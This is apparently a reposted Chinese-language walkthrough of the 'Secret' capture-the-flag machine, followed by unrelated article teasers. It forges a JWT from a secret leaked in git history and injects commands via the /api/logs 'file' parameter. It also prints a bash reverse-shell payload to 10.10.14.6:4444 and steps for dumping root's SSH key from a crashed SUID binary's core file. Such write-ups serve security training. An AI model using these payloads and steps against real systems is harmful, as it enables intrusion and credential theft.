Linux/secret

Enumeration

nmap

第一次扫描发现系统对外开放了22,80和3000端口,端口详细信息如下

可以看到22端口对应的是ssh服务,80和3000都是http服务,80端口使用nginx,3000使用了Node.js

TCP/80

可以先从80端口开始探索,看起来是一个文档网站,叫DUMBDocs

再往下可以看到有一些功能,introduction还提到了使用JWT token认证

在最下面可以下载源代码

将文件解压缩后打开,发现里面有.git目录,实际上这是一个git仓库,可以查看日志看看哪些内容做了改动

可以使用git log来查看日志,日志中有一行很有趣,提到了因为安全原因删除了.env

可以使用git show来查看当前提交与源代码之间的区别,可以看到一个TOKEN_SECRET的明文值,但是目前已经变成机密了

查看其他提交时发现引入了/logs,目的是让管理员查看服务器上的日志,它可能会造成命令执行,file变量作为参数传递给git log时,最终会传递给exec函数去执行,因为verifytoken的存在,所以需要身份认证才能做到这一点

查看网站源代码,在routes中有一个auth.js,在login部分,它介绍了如何为登陆成功的用户生成jwt token

利用代码中提到的三个参数,以及之前获取得到的TOKEN_SERCET,在jwt.io中创建一个jwt token

使用该jwt token请求logs,但是却报错了,刚才在网站查看时也发现很多接口都在/api下面,尝试添加/api,添加后没有报404,直接报了500

按照刚才代码中所写,在请求logs时需要有一个参数,尝试添加?file=id,可以看到响应中cmd参数的值发生了改变,应该是git log --oneline id这个指令exec不知道该如何处理,在id前添加;即可

将请求改为/api/logs?file=;id之后,发现响应正常,并且成功执行了指令

可以尝试执行反向shell

;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261'

Privilege Escalation

获取交互式shell

在/opt目录下,有一个count文件,该文件是一个SUID文件,这意味着无论谁执行这个文件,都会以其所有者的身份去运行,而count属于root

尝试执行该文件,提示需要输入文件名,所以输入了/root/root.txt,程序统计了文件中的字数,并且提示是否保存文件

code.c是程序来源,查看其他人的wp,并结合代码,可以尝试利用count二进制文件来读取ssh密钥,然后在文件处理程序被破坏前使程序崩溃,程序崩溃后,会在/var/crashes目录下创建一个core dump文件。所以,可以执行程序,然后让程序读取/root/.ssh/id_rsa密钥文件,在使用ctrl+z置于后台,发送对应信号,当重新把程序置于前台时,就会崩溃并创建转储文件

/opt/count
/root/.ssh/id_rsa
ctrl+z
kill -SIGSEGV `ps -e | grep -w "count"|awk -F ' ' '{print$1}'`
fg

按照上面的指令逐行执行

执行上述命令后,告知核心转储已创建,现在可以使用apport-unpack和strings来提取根ssh密钥

apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_unpacked
strings /tmp/crash_unpacked/CoreDump

复制该密钥保存后添加权限,然后可以使用该密钥登录ssh

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/461893.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

滑动窗口和螺旋矩阵

209. 长度最小的子数组 题目 给定一个含有 n 个正整数的数组和一个正整数 target 。 找出该数组中满足其总和大于等于 target 的长度最小的 连续 子数组 [numsl, numsl1, ..., numsr-1, numsr] ,并返回其长度**。**如果不存在符合条件的子数组,返回…

R统计学3 - 数据分析入门问题41-60

往期R统计学文章: R统计学1 - 基础操作入门问题1-20 R统计学2 - 数据分析入门问题21-40 41. R 语言如何做双坐标图? # 创建模拟数据 year <- 2014:2024 gdp <- data.frame(year, GDP = sort(rnorm(11, 1000, 100))) ur <- data.frame(year, UR = rnorm(11, 5, 1…

微信小程序原生<map>地图实现标记多个位置以及map 组件 callout 自定义气泡

老规矩先上效果图: 1 、在pages文件夹下新建image文件夹用来存放标记的图片。 2、代码片段 也可以参考小程序文档:https://developers.weixin.qq.com/miniprogram/dev/component/map.html index.wxml代码 <mapid="map"style="width: 100%; height:100%;&…

外包就干了2个月,技术退步明显....

先说情况&#xff0c;大专毕业&#xff0c;18年通过校招进入湖南某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能测试&#xf…

分布式机器学习

考虑到当今大数据时代生成的数据量&#xff0c;分布式机器学习是一项重要技术。 由此引出的问题是&#xff0c;我们应该选择哪个平台来帮助构建分布式机器学习环境&#xff1f; Apache Spark 是近年来非常流行的此类平台之一。 spark Apache Spark 是一个开源集群计算框架&am…

MySQL语法分类 DDL(2)

DDL&#xff08;2&#xff09; C(Create):创建 //复制表 create table 表名 like 被复制的表名;//数据类型 1. int : 整数类型 2. double : 小数类型 //double(5,2) 最多五位且保留两位小数 3. date : 日期类型 //只包含年月日 yyyy-MM-dd 4. datetime : 日期 //包含年月日时…

php彩虹/异世界云商全解系统

系统更新与修复列表 1. 基于彩虹的二次开发 - 对彩虹系统进行了二次开发&#xff0c;增强了系统的功能和性能。2. 新增自定义输入框提示内容&#xff08;支持批量修改&#xff09; - 用户可以自定义输入框的提示内容&#xff0c;并支持批量修改&#xff0c;提升用户体验。3. 新…

DFS的一些题目

题目1&#xff1a;奶牛选美 这道题其实就是把两个连通块合成一个&#xff0c;可以用dfs、bfs和并查集。因为最近在dfs专题训练&#xff0c;这里我只写了dfs。 首先我们用dfs的方式遍历两个连通块&#xff0c;将两个连通块中点的坐标分别存入两个数组中&#xff0c;将这两个数组…

AI预测福彩3D第10弹【2024年3月16日预测--第2套算法重新开始计算第2次测试】

今天继续开始咱们第2套算法的验证&#xff0c;计划每套算法连续测试10期&#xff0c;达到50%的命中率即为较优的模型&#xff0c;可继续使用。老规矩&#xff0c;先上图表&#xff0c;再下结论~ 最终&#xff0c;经过研判分析&#xff0c;2024年3月16日福彩3D的七码预测结果如下…

LeetCode 面试经典150题 26.删除有序数组中的重复项

题目&#xff1a; 给你一个 非严格递增排列 的数组 nums &#xff0c;请你 原地 删除重复出现的元素&#xff0c;使每个元素 只出现一次 &#xff0c;返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然后返回 nums 中唯一元素的个数。 考虑 nums 的唯一元素的数量…

重学SpringBoot3-整合SSM

更多SpringBoot3内容请关注我的专栏&#xff1a;《SpringBoot3》 期待您的点赞&#x1f44d;收藏⭐评论✍ 重学SpringBoot3-整合SSM Spring Boot整合SSM示例1. 创建Spring Boot项目2. 配置数据源3. 配置MyBatis4. 实现数据访问对象&#xff08;DAO&#xff09;5. 编写服务层和控…

强化学习------DDPG算法(附pytorch代码)

目录 一、前言二、基本原理2.1、经验回放2.2、更新过程2.2.1、Critic网络更新过程2.2.2、Actor网络更新过程2.2.3、 目标网络的更新 2.3、噪音探索 三、算法代码实现四、训练示例4.1、实现效果 一、前言 Deep Deterministic Policy Gradient (DDPG)算法是DeepMind团队提出的一…

YOLOv5_seg-Openvino和ONNXRuntime推理【CPU】

纯检测系列&#xff1a; YOLOv5-Openvino和ONNXRuntime推理【CPU】 YOLOv6-Openvino和ONNXRuntime推理【CPU】 YOLOv8-Openvino和ONNXRuntime推理【CPU】 YOLOv7-Openvino和ONNXRuntime推理【CPU】 YOLOv9-Openvino和ONNXRuntime推理【CPU】 跟踪系列&#xff1a; YOLOv5/6/7-O…

一文总结python的异常数据处理示例

AI应用开发相关目录 本专栏包括AI应用开发相关内容分享&#xff0c;包括不限于AI算法部署实施细节、AI应用后端分析服务相关概念及开发技巧、AI应用后端应用服务相关概念及开发技巧、AI应用前端实现路径及开发技巧 适用于具备一定算法及Python使用基础的人群 AI应用开发流程概…

【打工日常】使用Docker部署团队协作文档工具

一、ShowDoc介绍 ​ShowDoc是一个适合IT团队共同协作API文档、技术文档的工具。通过showdoc&#xff0c;可以方便地使用markdown语法来书写出API文档、数据字典文档、技术文档、在线excel文档等等。 响应式网页设计&#xff1a;可将项目文档分享到电脑或移动设备查看。同时也可…

redis持久化策略

redis中持久化策略 1.持久化是什么 在前面的过程中讲述了有关于MySQL中事务的一些特性以及隔离等级。其中很重要的一条就提到了持久化&#xff0c;持久化就是可以将数据进行一个持久保存的意思。也就是将数据写入到硬盘中&#xff0c;虽然&#xff0c;redis是操作内存的一个数…

element-plus怎么修改表单中的label字体颜色及大小

问题描述&#xff1a; 当我们在vue3中使用element-plus组件库提供的表单组件时&#xff0c;有时我们需要修改表单中label的字体颜色等属性&#xff0c;这是如果直接选中label的class进行修改是不起作用的&#xff0c;我们只需深度选择即可选中并进行修改。 比如&#xff1a; …

PS学习-抠图-蒙版-冰块酒杯等透明物体

选中图&#xff0c;ctrlA 全选 ctrlC复制 创建一个蒙版图层 选中蒙版Alt 点击进入 ctrlv 复制 ctrli 反转 原图层 ctrldelete填充为白色 添加一个背景&#xff0c;这个方法通用 首选创建一个 拖到最底部 给它填充颜色 这个可能是我图片的原因。视频是这样做的

力扣L10--- 3. 无重复字符的最长子串--2024年3月14日

1.题目 2.知识点 注1&#xff1a;containsKey 是 Java 中 HashMap 类的一个方法&#xff0c;用于检查哈希表中是否包含指定的键。 注2&#xff1a;在哈希表&#xff08;HashMap)中&#xff0c;每个键对应着唯一的值&#xff0c;因此键不能重复&#xff0c;但值可以重复。 (1)创…

公众号留言功能恢复了,你的开通了吗?

了解公众号的人都知道&#xff0c;腾讯在2018年3月宣布暂停新注册公众号的留言功能&#xff0c;这之后注册的公众号都不具备留言功能。 这成了很多号主运营人的一块心病&#xff0c;也包括我。 没有留言&#xff0c;就好似一个人玩单机游戏&#xff0c;无法与读者互动&#xff…